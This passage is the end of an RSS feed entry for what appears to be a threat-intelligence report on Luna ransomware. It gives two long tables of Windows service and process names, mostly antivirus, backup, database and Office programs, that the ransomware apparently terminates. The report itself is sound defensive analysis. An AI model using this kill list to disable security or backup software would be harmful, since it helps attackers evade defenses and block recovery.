| Acronis VSS ProviderAcronisAgentAcrSch2SvcAdobeARMserviceAlerterARSMaswBccavbackupBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDeviceMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceBackupExecVSSProviderbcrservicebedbgBITSBlueStripeCollectorBrokerInfrastructureccEvtMgrccSetMgrCissesrvCpqRcmc3CSAdminCSAuthCSDbSyncCSLogCSMonCSRadiusCSTacacsDB2DB2-0DB2DAS00DB2GOVERNOR_DB2COPY1DB2INST2DB2LICD_DB2COPY1DB2MGMTSVC_DB2COPY1DB2REMOTECMD_DB2COPY1DCAgentEhttpSrvekrnEnterprise Client Serviceepag EPIntegrationService EPProtectedService epredline EPSecurityServiceEPSecurityService EPUpdateServiceEPUpdateService EraserSvc11710ERSvcEsgShKernelESHASRVEventlogFA_SchedulerGoogleChromeElevationServicegupdategupdatemHealthServiceIBMDataServerMgrIBMDSServer41IDriverTIISAdminIMAP4SvcImapiServiceklnagentLogProcessorServiceLRSDRVXmacmnsvcmasvcMBAMServiceMBEndpointAgentMcShieldMcTaskManagermfefiremfemmsmfevtpmfewcMMSMozyprobackupMsDtsServerMsDtsServer100MsDtsServer110 | MsDtsServer130MSExchangeESMSExchangeISMSExchangeMGMTMSExchangeMTAMSExchangeSAMSExchangeSRSmsftesql$PRODMSMQ MSOLAP$SQL_2008MSOLAP$SYSTEM_BGCMSOLAP$TPSMSOLAP$TPSAMAMSSQL$BKUPEXECMSSQL$CITRIX_METAFRAMEMSSQL$ECWDB2MSSQL$EPOSERVERMSSQL$ITRISMSSQL$NET2MSSQL$PRACTICEMGTMSSQL$PRACTTICEBGCMSSQL$PRODMSSQL$PROFXENGAGEMENTMSSQL$SBSMONITORINGMSSQL$SHAREPOINTMSSQL$SQL_2008MSSQL$SQLEXPRESSMSSQL$SYSTEM_BGCMSSQL$TPSMSSQL$TPSAMAMSSQL$VEEAMSQL2008R2MSSQL$VEEAMSQL2012MSSQLFDLauncherMSSQLFDLauncher$ITRISMSSQLFDLauncher$PROFXENGAGEMENTMSSQLFDLauncher$SBSMONITORINGMSSQLFDLauncher$SHAREPOINTMSSQLFDLauncher$SQL_2008MSSQLFDLauncher$SYSTEM_BGCMSSQLFDLauncher$TPSMSSQLFDLauncher$TPSAMAMSSQLLaunchpad$ITRISMSSQLSERVERMSSQLServerADHelperMSSQLServerADHelper100MSSQLServerOLAPServicemsvsmon90MySQL57Net2ClientSvcNetDDENetMsmqActivatorNetSvcNimbusWatcherServiceNtLmSspNtmsSvcntrtscanodservOracleClientCache80osePDVFSServicePOP3SvcProLiantMonitorReportServerReportServer$SQL_2008ReportServer$SYSTEM_BGCReportServer$TPSReportServer$TPSAMARESvcRSCDsvcsacsvrSamSsSAVServiceSDD_ServiceSDRSVCSentinelAgentSentinelHelperServiceSentinelStaticEngineSepMasterServiceSepMasterServiceMigShMonitorSmcinstSmcServiceSMTPSvcSNAC | SnowInventoryClientSntpServiceSQL BackupsSQLAgent$BKUPEXECSQLAgent$CITRIX_METAFRAMESQLAgent$CXDBSQLAgent$ECWDB2SQLAgent$EPOSERVERSQLAgent$ITRISSQLAgent$NET2SQLAgent$PRACTTICEBGCSQLAgent$PRACTTICEMGTSQLAgent$PRODSQLAgent$PROFXENGAGEMENTSQLAgent$SBSMONITORINGSQLAgent$SHAREPOINTSQLAgent$SQL_2008SQLAgent$SQLEXPRESSSQLAgent$SYSTEM_BGCSQLAgent$TPSSQLAgent$TPSAMASQLAgent$VEEAMSQL2008R2SQLAgent$VEEAMSQL2012SQLBrowserSQLsafe Backup ServiceSQLsafe Filter ServiceSQLSafeOLRServiceSQLSERVERAGENTSQLTELEMETRYSQLTELEMETRY$ECWDB2SQLTELEMETRY$ITRISSQLWriterSSISTELEMETRY130SstpSvcsvcGenericHostswi_filterswi_serviceswi_updateswi_update_64SymantecSymantec System RecoverysysdownSystemTelemetryserverTlntSvrTmCCSFtmlistenTmPfw tpautoconnsvcTPVCGatewayTrueKeyTrueKeySchedulerTrueKeyServiceHelperTSMUI0DetectVeeam Backup Catalog Data ServiceVeeamBackupSvcVeeamBrokerSvcVeeamCatalogSvcVeeamCloudSvcVeeamDeploymentServiceVeeamDeploySvcVeeamEnterpriseManagerSvcVeeamHvIntegrationSvcVeeamMountSvcVeeamNFSSvcVeeamRESTSvcVeeamTransportSvcVGAuthServiceVMToolsVMwareVMwareCAFCommAmqpListenerVMwareCAFManagementAgentHostvmware-converter-agentvmware-converter-servervmware-converter-workerW3SvcwbengineWdNisSvcWebClientWinDefendWinVNC4WRSVCZoolz 2 Service |</p>
<h3 id="windowsprocessterminationlist">Windows process termination list</h3>
<p>|                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| a2service.exea2start.exeaawservice.exeacaas.exeacaegmgr.exeacaif.exeacais.exeacctmgr.exeaclient.exeaclntusr.exead-aware2007.exeadministrator.exeadminserver.exeaesecurityservice.exeaexagentuihost.exeaexnsagent.exeaexnsrcvsvc.exeaexsvc.exeaexswdusr.exeaflogvw.exeafwserv.exeagntsvc.exeahnrpt.exeahnsd.exeahnsdsv.exealert.exealertsvc.exealmon.exealogserv.exealsvc.exealunotify.exealupdate.exealuschedulersvc.exeamsvc.exeamswmagtaphost.exeappsvc32.exeaps.exeapvxdwin.exeashbug.exeashchest.exeashcmd.exeashdisp.exeashenhcd.exeashlogv.exeashmaisv.exeashpopwz.exeashquick.exeashserv.exeashsimp2.exeashsimpl.exeashskpcc.exeashskpck.exeashupd.exeashwebsv.exeasupport.exeaswdisp.exeaswregsvr.exeaswserv.exeaswupdsv.exeaswwebsv.exeatrshost.exeatwsctsk.exeaupdrun.exeaus.exeauth8021x.exeautoup.exeavcenter.exeavconfig.exeavconsol.exeavengine.exeavesvc.exeavfwsvc.exeavkproxy.exeavkservice.exeavktray.exeavkwctl.exeavltmain.exeavmailc.exeavmcdlg.exeavnotify.exeavscan.exeavscc.exeavserver.exeavshadow.exeavsynmgr.exeavtask.exeavwebgrd.exebasfipm.exebavtray.exebcreporter.exebcrservice.exebdagent.exebdc.exebdlite.exebdmcon.exebdredline.exebdss.exebdsubmit.exebhipssvc.exebka.exeblackd.exeblackice.exebluestripecollector.exeblupro.exebmrt.exebwgo0000ca.execaantispyware.execaav.execaavcmdscan.execaavguiscan.execaf.execafw.execaissdt.execalogdump.execapfaem.execapfasem.execapfsem.execapmuamagt.execappactiveprotection.execasc.execasecuritycenter.execaunst.execavrep.execavrid.execavscan.execavtray.execcap.execcapp.execcemflsv.execcenter.execcevtmgr.execcflic0.execcflic4.execclaw.execcm messaging.execcnfagent.execcprovsp.execcproxy.execcpxysvc.execcschedulersvc.execcsetmgr.execcsmagtd.execcsvchst.execcsystemreport.execctray.execcupdate.execdm.execertificateprovider.execertificationmanagerservicent.execfftplugin.execfnotsrvd.execfp.execfpconfg.execfpconfig.execfplogvw.execfpsbmit.execfpupdat.execfsmsmd.execheckup.exechrome.execis.execistray.execka.execlamscan.execlamtray.execlamwin.execlient.execlient64.execlps.execlpsla.execlpsls.execlshield.execmdagent.execmdinstall.execmgrdian.execntaosmgr.execollwrap.execomhost.execonfig_api_service.execonsole.execontrol_panel.execoreframeworkhost.execoreserviceshell.execpd.execpdclnt.execpf.execpntsrv.execramtray.execrashrep.execrdm.execrssvc.execsacontrol.execsadmin.execsauth.execsdbsync.execsfalconservice.execsinject.execsinsm32.execsinsmnt.execslog.execsmon.execsradius.execsrss_tc.execssauth.execstacacs.exectdataload.execwbunnav.execylancesvc.execylanceui.exedao_log.exedbeng50.exedbserv.exedbsnmp.exedbsrv9.exedefwatchdefwatch.exedeloeminfs.exedeteqt.agent.exediskmon.exedjsnetcn.exedlservice.exedltray.exedolphincharge.edolphincharge.exedoscan.exedpmra.exedr_serviceengine.exedrwagntd.exedrwagnui.exedrweb.exedrweb32.exedrweb32w.exedrweb386.exedrwebcgp.exedrwebcom.exedrwebdc.exedrwebmng.exedrwebscd.exedrwebupw.exedrwebwcl.exedrwebwin.exedrwinst.exedrwupgrade.exedsmcad.exedsmcsvc.exedwarkdaemon.exedwengine.exedwhwizrd.exedwnetfilter.exedwrcst.exedwwin.exeedisk.exeeeyeevnt.exeegui.exeehttpsrv.exeekrn.exeelogsvc.exeemlibupdateagentnt.exeemlproui.exeemlproxy.exeencsvc.exeendpointsecurity.exeengineserver.exeentitymain.exeepmd.exeera.exeerlsrv.exeesecagntservice.exeesecservice.exeesmagent.exeetagent.exeetconsole3.exeetcorrel.exeetloganalyzer.exeetreporter.exeetrssfeeds.exeetscheduler.exeetwcontrolpanel.exeeuqmonitor.exeeventparser.exeevtarmgr.exeevtmgr.exeevtprocessecfile.exeewidoctrl.exeexcel.exeexecstat.exefameh32.exefcappdb.exefcdblog.exefch32.exefchelper64.exefcsms.exefcssas.exefih32.exefirefox.exefirefoxconfig.exefiresvc.exefiretray.exefirewallgui.exefmon.exefnplicensingservice.exeforcefield.exefpavserver.exefprottray.exeframeworkservicframeworkservic.exeframeworkservice.exefrzstate2k.exefsaa.exefsaua.exefsav32.exefsavgui.exefscuif.exefsdfwd.exefsgk32.exefsgk32st.exefsguidll.exefsguiexe.exefshdll32.exefshoster32.exefshoster64.exefsm32.exefsma32.exefsmb32.exefsorsp.exefspc.exefspex.exefsqh.exefssm32.exefwcfg.exefwinst.exe | fws.exegcascleaner.exegcasdtserv.exegcasinstallhelper.exegcasnotice.exegcasserv.exegcasservalert.exegcasswupdater.exeGdfirewalltray.exegdfwsvc.exegdscan.exegfireporterservice.exeghost_2.exeghosttray.exegiantantispywaremain.exegiantantispywareupdater.exegooglecrashhandler.exegooglecrashhandler64.exegoogleupdate.exegziface.exegzserv.exehasplmv.exehdb.exehealthservice.exehpqwmiex.exehwapi.exeicepack.exeidsinst.exeiface.exeigateway.exeilicensesvc.exeinet_gethost.exeinfopath.exeinicio.exeinonmsrv.exeinorpc.exeinort.exeinotask.exeinoweb.exeisafe.exeisafinst.exeisntsmtp.exeisntsysmonitorispwdsvc.exeisqlplussvc.exeisscsf.exeissdaemon.exeissvc.exeisuac.exeiswmgr.exeitmrt_supportdiagnostics.exeitmrt_trace.exeitmrtsvc.exeixaptsvc.exeixavsvc.exeixfwsvc.exekabackreport.exekaccore.exekanmcmain.exekansgui.exekansvr.exekb891711.exekeysvc.exekis.exekislive.exekissvc.exeklnacserver.exeklnagent.exeklserver.exeklswd.exeklwtblfs.exekmailmon.exeknownsvr.exeknupdatemain.exekpf4gui.exekpf4ss.exekpfw32.exekpfwsvc.exekrbcc32s.exekswebshield.exekvdetech.exekvmonxp.kxpkvmonxp_2.kxpkvolself.exekvsrvxp.exekvsrvxp_1.exekvxp.kxpkwatch.exekwsprod.exekxeserv.exeleventmgr.exelivesrv.exelmon.exelog_qtine.exeloggetor.exeloggingserver.exeluall.exelucallbackproxy.exelucoms.exelucoms~1.exelucomserver.exelwdmserver.exemacmnsvc.exemacompatsvc.exemanagementagenthost.exemanagementagentnt.exemantispm.exemasalert.exemassrv.exemasvc.exembamservice.exembamtray.exemcagent.exemcapexe.exemcappins.exemcconsol.exemcdash.exemcdetect.exemcepoc.exemcepocfg.exemcinfo.exemcmnhdlr.exemcmscsvc.exemcnasvc.exemcods.exemcpalmcfg.exemcpromgr.exemcproxy.exemcregwiz.exemcsacore.exemcscript_inuse.exemcshell.exemcshield.exemcshld9x.exemcsvhost.exemcsysmon.exemctray.exemctskshd.exemcui32.exemcuimgr.exemcupdate.exemcupdmgr.exemcvsftsn.exemcvsrte.exemcvsshld.exemcwce.exemcwcecfg.exemfeann.exemfecanary.exemfeesp.exemfefire.exemfefw.exemfehcs.exemfemactl.exemfemms.exemfetp.exemfevtps.exemfewc.exemfewch.exemgavrtcl.exemghtml.exemgntsvc.exemonitoringhost.exemonsvcnt.exemonsysnt.exempcmdrun.exempf.exempfagent.exempfconsole.exempfservice.exempfsrv.exempftray.exemps.exempsevh.exempsvc.exemrf.exemsaccess.exemsascui.exemscifapp.exemsdtssrvr.exemsftesql.exemskagent.exemskdetct.exemsksrver.exemsksrvr.exemsmdsrv.exemsmpeng.exemspmspsv.exemspub.exemsscli.exemsseces.exemsssrv.exemusnotificationux.exemyagttry.exemydesktopqos.exemydesktopservice.exemysqld.exemysqld-nt.exemysqld-opt.exenailgpip.exenaprdmgr.exenavectrl.exenavelog.exenavesp.exenavshcom.exenavw32.exenavwnt.exencdaemon.exend2svc.exendetect.exendrvs.exendrvx.exeneotrace.exenerosvc.exenetalertclient.exenetcfg.exenetsession_win.exenetworkagent.exenexengctw32.exengserver.exenimbus.exenimcluster.exenip.exenipsvc.exenisoptui.exenisserv.exenissrv.exenisum.exenjeeves.exenlclient.exenlsvc.exenmagent.exenmain.exenortonsecurity.exenpfmntor.exenpfmsg.exenpfmsg2.exenpfsvice.exenpmdagent.exenprotect.exenpscheck.exenpssvc.exenrmenctb.exenscsrvce.exensctop.exenslocollectorservice.exensmdemf.exensmdmon.exensmdreal.exensmdsch.exensmdtr.exentcaagent.exentcadaemon.exentcaservice.exentevl.exentrtscan.exentservices.exenvcoas.exenvcsched.exenymse.exeoasclnt.exeocautoupds.exeocomm.exeocssd.exeoespamtest.exeofcdog.exeofcpfwsvc.exeokclient.exeolfsnt40.exeomniagent.exeomslogmanager.exeomtsreco.exeonenote.exeonlinent.exeonlnsvc.exeop_viewer.exeopscan.exeoracle.exeoutlook.exeoutpost.exepaamsrv.exepadfsvr.exepagent.exepagentwd.exepasystemtray.exepatch.exepatrolagent.exepatrolperf.exepavbckpt.exepavfires.exepavfnsvr.exepavjobs.exepavkre.exepavmail.exepavreport.exepavsched.exepavsrv50.exepavsrv51.exepavsrv52.exepavupg.exepaxton.net2.clientservice.exepaxton.net2.commsserverservice.exepccclient.exepccguide.exepcclient.exepccnt.exepccntmon.exepccntupd.exepccpfw.exepcctlcom.exepcscan.exepcscm.exepcscnsrv.exepcsws.exepctsauxs.exepctsgui.exepctssvc.exepctstray.exepep.exepersfw.exepmgreader.exepmon.exepnmsrv.exepntiomon.exePop3pack.exepop3trap.exepoproxy.exepowerpnt.exeppclean.exeppctlpriv.exe | ppmcativedetection.exeppppwallrun.exepqibrowser.exepqv2isvc.exepralarmmgr.exeprcalculationmgr.exeprconfigmgr.exeprdatabasemgr.exepremailengine.exepreventmgr.exeprevsrv.exeprftpengine.exeprgateway.exeprintdevice.exeprivacyiconclient.exeprlicensemgr.exeprocexp.exeproficy administrator.exeproficyclient.exe4proficypublisherservice.exeproficyserver.exeproficysts.exeproutil.exeprprintserver.exeprproficymgr.exeprrds.exeprreader.exeprrouter.exeprschedulemgr.exeprstubber.exeprsummarymgr.exeprunsrv.exeprwriter.exepsanhost.exepsctris.exepsctrls.exepsh_svc.exepshost.exepsimreal.exepsimsvc.exepskmssvc.exepsuamain.exepsuaservice.exepthosttr.exepview.exepviewer.exepwdfilthelp.exepxemtftp.exepxeservice.exeqclean.exeqdcsfs.exeqoeloader.exeqserver.exerapapp.exerapuisvc.exeras.exerasupd.exerav.exeravmon.exeravmond.exeravservice.exeravstub.exeravtask.exeravtray.exeravupdate.exeravxp.exercsvcmon.exerdrcef.exerealmon.exeredirsvc.exeregmech.exeremupd.exerepmgr64.exereportersvc.exereportingservicesservice.exereportsvc.exeretinaengine.exerfwmain.exerfwproxy.exerfwsrv.exerfwstub.exernav.exernreport.exerouternt.exerpcserv.exerscd.exerscdsvc.exersnetsvr.exerssensor.exerstray.exertvscan.exerulaunch.exesafeservice.exesahookmain.exesaservice.exesav32cli.exesavfmsectrl.exesavfmselog.exesavfmsesjm.exesavfmsesp.exesavfmsespamstatsmanager.exesavfmsesrv.exesavfmsetask.exesavfmseui.exesavmain.exesavroam.exesavscan.exesavservice.exesavui.exesbamsvc.exesbserv.exescan32.exescanexplicit.exescanfrm.exescanmailoutlook.exescanmsg.exescanwscs.exescfagent_64.exescfmanager.exescfservice.exescftray.exeschdsrvc.exeschupd.exesdrservice.exesdtrayapp.exeseanalyzertool.exeseccenter.exesecuritycenter.exesecuritymanager.exeseestat.exesemsvc.exeserver_eventlog.exeserver_runtime.exesesclu.exesetloadorder.exesetupguimngr.exesevinst.exesgbhp.exeshstat.exesidebar.exesiteadv.exeslee81.exesmc.exesmcgui.exesmex_activeupdasmex_master.exesmex_remoteconfsmex_systemwatcsmoutlookpack.exesms.exesmsectrl.exesmselog.exesmsesjm.exesmsesp.exesmsesrv.exesmsetask.exesmseui.exesmsx.exesnac.exesndmon.exesndsrvc.exesnhwsrv.exesnicheckadm.exesnichecksrv.exesnicon.exesnsrv.exespbbcsvc.exespideragent.exespiderml.exespidernt.exespiderui.exespntsvc.exespooler.exespyemergency.exespyemergencysrv.exesqbcoreservice.exesqlagent.exesqlbrowser.exesqlservr.exesqlwriter.exesrvload.exesrvmon.exesschk.exessecuritymanager.exessm.exessp.exessscheduler.exestarta.exesteam.exestinger.exestopa.exestopp.exestwatchdog.exesvcgenerichostsvcharge.exesvcntaux.exesvdealer.exesvframe.exesvtray.exeswc_service.exeswdsvc.exesweepsrv.sysswi_service.exeswnetsup.exeswnxt.exeswserver.exesymlcsvc.exesymproxysvc.exesymsport.exesymtray.exesymwsc.exesynctime.exesysdoc32.exesysoptenginesvc.exetaskhostw.exetbirdconfig.exetbmon.exetclproc.exetdimon.exeteamviewer_service.exetfgui.exetfservice.exetftray.exetfun.exethebat.exethebat64.exethunderbird.exetiaspn~1.exetmas.exetmlisten.exetmntsrv.exetmpfw.exetmproxy.exetnbutil.exetnslsnr.exetoolbarupdater.exetpsrv.exetraflnsp.exetraptrackermgr.exetrjscan.exetrupd.exetsansrf.exetsatisy.exetscutynt.exetsmpnt.exeucservice.exeudaterui.exeuiseagnt.exeuiwatchdog.exeumxagent.exeumxcfg.exeumxfwhlp.exeumxpol.exeunsecapp.exeunvet32.exeup2date.exeupdate_task.exeupdaterui.exeupdtnv28.exeupfile.exeuplive.exeuploadrecord.exeupschd.exeurl_response.exeurllstck.exeuseractivity.exeuseranalysis.exeusergate.exeusrprmpt.exev2iconsole.exev3clnsrv.exev3exec.exev3imscn.exev3lite.exev3main.exev3medic.exev3sp.exev3svc.exevetmsg.exevettray.exevgauthservice.exevisio.exevmacthlp.exevmtoolsd.exevmware-converter.exevmware-converter-a.exevmwaretray.exevpatch.exevpc32.exevpdn_lu.exevprosvc.exevprot.exevptray.exevrv.exevrvmail.exevrvmon.exevrvnet.exevshwin32.exevsmain.exevsmon.exevsserv.exevsstat.exevstskmgr.exewebproxy.exewebscanx.exewebsensecontrolservice.exewebtrapnt.exewfxctl32.exewfxmod32.exewfxsnt40.exewin32sysinfo.exewinlog.exewinroute.exewinvnc4.exewinword.exewordpad.exeworkflowresttest.exewrctrl.exewrsa.exewrspysetup.exewscntfy.exewssfcmai.exewtusystemsuport.exexcommsvr.exexfilter.exexfssvccon.exezanda.exezapro.exezavcore.exezillya.exezlclient.exezlh.exezonealarm.exezoolz.exe |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/luna-ransomware-attack-pattern</link>
    <guid isPermaLink="false">luna-ransomware-attack-pattern</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Salim Bitam,Seth Goodwin,Andrew Pease,Daniel Stepanic]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc8003bf5cb756848/6a7c8a13e88c65275700594f/dark-side-of-moon-flickr-earth-shine-thumbnail.jpeg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 31 Aug 2022 00:00:00 GMT</pubDate>
  </item>
  </channel>
</rss>